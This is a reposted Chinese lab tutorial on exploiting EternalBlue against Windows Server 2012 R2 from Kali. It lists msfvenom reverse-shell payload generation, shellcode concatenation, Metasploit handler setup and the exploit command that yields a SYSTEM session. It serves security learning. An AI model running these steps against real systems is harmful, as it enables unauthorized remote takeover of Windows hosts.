Eternalblue

测试环境:

kali linux 2017 x32(attacker)

Windows Server 2012 R2(victim)

准备工作:

首先下载相关的PoC

下载eternalblue_kshellcode_x64.asm

下载eternalblue_exploit8.py

相关资源在此不显示,需要者请请留言或私聊本人

操作步骤:

1.编译汇编文件

nasm -f bin eternalblue_kshellcode_x64.asm

此命令在本目录下生成对应二进制文件eternalblue_kshellcode_x64

2.生成msf的payload

msfvenom -p windows/x64/shell/reverse_tcp -f raw -o shell_msf.bin EXITFUNC=thread LHOST=192.168.254.128 LPORT=4444

-p指定msf生成的payload的类型

-fpayload的类型

-o输出的payload的文件名

EXITFUNC指定这个payload的退出函数

LHOST本机IP,应使用ifconfig查看kali的IP

LPORT本机端口,后续payload将连接kali的这个端口

3.组装汇编文件和payload为专用shellcode

cat eternalblue_kshellcode_x64 shell_msf.bin > reverse_shell.bin

reverse_shell.bin为生成的完整shellcode

注:这种组装方式的原理可以查看asm文件,最后一行有注释,后面是自定义的代码,那么拼接payload之后,payload代码将被执行

4.在msf上使用exploit/multi/handler模块

use exploit/multi/handler

5.设置相应的payload,与之前msfvenom命令生成的payload一定要相同

6.设置相应的参数,一定要与msfvenom命令中的参数一致,否则会造成victim蓝屏,设置好之后启动监听

set EXITFUNC thread

set lhost192.168.254.128

run

192.168.254.128是本次实验的kali系统IP,进行操作时应先使用ifconfig获取本机的IP

7.启动利用程序

python eternalblue_exploit8.py 192.168.254.129 reverse_shell.bin

eternalblue_exploit8.py利用程序的文件名

192.168.254.129victim的IP

reverse_shell.binshellcode文件

8.成功获取对方的session

利用程序显示done之后,msf会监听到一个session

使用以下方法查看已连接的session

sessions -i

9.连入对方机器

sessions -i 1

-i后面的参数为session的Id

此时获取的已经是system权限

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180419G1RJGH00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 yunjia_community@tencent.com 删除。

扫码关注云+社区

领取腾讯云代金券